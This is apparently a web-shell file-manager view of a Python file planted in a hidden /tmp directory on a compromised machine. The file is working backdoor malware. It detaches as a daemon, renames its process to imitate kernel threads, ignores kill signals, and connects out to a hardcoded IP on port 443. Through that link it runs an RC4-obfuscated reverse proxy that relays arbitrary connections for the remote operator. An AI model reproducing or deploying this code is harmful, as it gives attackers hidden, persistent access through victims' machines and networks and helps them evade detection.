1#@!#!123s

: / tmp / .bcpy /
Filename : 62.60.131.189_443.py
back
#!/usr/bin/env python3
# BCPY_MARKER - DO NOT REMOVE
import socket,select,threading,random,time,os,sys,signal
try:
    threading.stack_size(131072)
except:pass
def daemonize(pidfile):
    if os.fork()>0:sys.exit(0)
    os.setsid()
    if os.fork()>0:sys.exit(0)
    try:os.chdir("/")
    except:pass
    os.umask(0)
    for fd in range(3,64):
        try:os.close(fd)
        except:pass
    sys.stdin=open("/dev/null","r")
    sys.stdout=open("/dev/null","w")
    sys.stderr=open("/dev/null","w")
    if pidfile:
        try:
            with open(pidfile,"w") as f:f.write(str(os.getpid()))
        except:pass
def mask_process():
    names=["kworker","migration","ksoftirqd","watchdog","rcu_sched","kswapd"]
    suffix=["","/0","/1","/0:0","/0:1"]
    pn=random.choice(names)+random.choice(suffix)
    try:
        import ctypes
        libc=ctypes.CDLL("libc.so.6")
        libc.prctl(15,pn.encode(),0,0,0)
    except:pass
    try:
        with open("/proc/self/comm","wb") as f:f.write(pn.encode()[:15])
    except:pass
H,P="62.60.131.189",443
PF="/tmp/.bcpy/62.60.131.189_443.pid"
daemonize(PF)
mask_process()
for s in[1,2,13,15]:
    try:signal.signal(s,signal.SIG_IGN)
    except:pass
x=bytearray([random.randint(0,254)for _ in range(50)])
def rc4(p,b,s,z):
    L=len(p)
    for i in range(z):b[s+i]^=p[i%L]
    r=list(range(256));j=0
    for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
    i=j=0
    for k in range(z):
        i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
        b[s+k]^=r[(r[i]+r[j])&255]
    for i in range(z):b[s+i]^=p[i%L]
SS=None
SL=threading.Lock()
AL=threading.Lock()
sa=[0]*200
sk=[None]*200
wc=0
MAX_WORKERS=200
ALIVE=True
GEN=0
def ssend(d,gen):
    global SS,GEN
    try:
        with SL:
            if SS and gen==GEN:
                SS.settimeout(10)
                try:SS.sendall(d)
                except:return 0
                finally:SS.settimeout(None)
        return 1
    except:return 0
def worker(n,cs,b0,gen):
    global sa,sk,wc,GEN,ALIVE
    r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
    ok=0
    try:
        if b0[7]==3:
            dl=b0[8];dom=b0[9:9+dl].decode("latin-1");pt=(b0[9+dl]<<8)|b0[9+dl+1]
        elif b0[7]==1:
            dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
        else:raise Exception()
        cs.settimeout(15)
        cs.connect((dom,pt))
        cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        cs.settimeout(None)
        with AL:
            if gen==GEN and ALIVE:sa[n]=1;sk[n]=cs;r[4]=0;ok=1
    except:
        try:cs.close()
        except:pass
    rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
    if ok:
        try:
            while True:
                with AL:
                    if sa[n]!=1 or gen!=GEN or not ALIVE:break
                try:rl,_,el=select.select([cs],[],[cs],1)
                except:break
                if el:break
                if rl:
                    try:d=cs.recv(65530)
                    except:break
                    if not d:break
                    buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
                    rc4(x,buf,0,3);rc4(x,buf,3,len(d))
                    if not ssend(bytes(buf),gen):break
        except:pass
    with AL:
        sa[n]=0;sk[n]=None
        if wc>0:wc-=1
    try:cs.close()
    except:pass
    if gen==GEN:r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)
reconnect_delay=5
max_reconnect_delay=60
def main():
    global SS,sa,sk,wc,ALIVE,GEN,reconnect_delay
    with AL:
        GEN+=1;ALIVE=True;wc=0
        for i in range(200):
            sa[i]=0;c=sk[i];sk[i]=None
            if c:
                try:c.close()
                except:pass
    gen=GEN
    rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
    connected=False
    try:
        SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
        SS.settimeout(15)
        SS.connect((H,P))
        SS.settimeout(None)
        hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
        rc4(x,hs,50,50);SS.sendall(bytes(hs))
        connected=True;reconnect_delay=5
        while ALIVE and gen==GEN:
            if r4<4:
                try:rl,_,el=select.select([SS],[],[SS],60)
                except:break
                if el:break
                if not rl:
                    if time.time()-ka_time>60:
                        ka=bytearray(3);rc4(x,ka,0,3)
                        if not ssend(bytes(ka),gen):break
                        ka_time=time.time()
                    continue
                try:d=SS.recv(4-r4)
                except:break
                if not d:break
                b0.extend(d);r4+=len(d);ka_time=time.time()
                if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
            if r4==4:
                if edx==0:
                    if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
                    if 0<ebx<200:
                        with AL:sa[ebx]=0;c=sk[ebx];sk[ebx]=None
                        if c:
                            try:c.close()
                            except:pass
                    r4=0;b0=bytearray()
                else:
                    if edx>1048576:break
                    need=edx-rm
                    if need>0:
                        try:d=SS.recv(min(need,65536))
                        except:break
                        if not d:break
                        b0.extend(d);rm+=len(d)
                    if rm==edx:
                        rc4(x,b0,4,rm)
                        if b0[0]==0:
                            if 0<ebx<200:
                                with AL:
                                    if wc>=MAX_WORKERS:r4=0;rm=0;b0=bytearray();continue
                                    wc+=1
                                cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                                t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
                                t.start()
                        else:
                            if 0<ebx<200:
                                with AL:
                                    if sa[ebx]==1 and sk[ebx]:
                                        try:sk[ebx].settimeout(10);sk[ebx].sendall(bytes(b0[4:4+rm]))
                                        except:pass
                        rm=0;r4=0;b0=bytearray()
    except:pass
    with AL:
        if gen==GEN:ALIVE=False
    try:SS.close()
    except:pass
    SS=None
    time.sleep(1)
    with AL:
        for i in range(200):
            if sa[i]!=0:
                sa[i]=0;c=sk[i];sk[i]=None
                if c:
                    try:c.close()
                    except:pass
    if not connected:reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
    time.sleep(reconnect_delay-1)
    if ex:sys.exit(0)
while 1:
    try:main()
    except:
        reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
        time.sleep(reconnect_delay)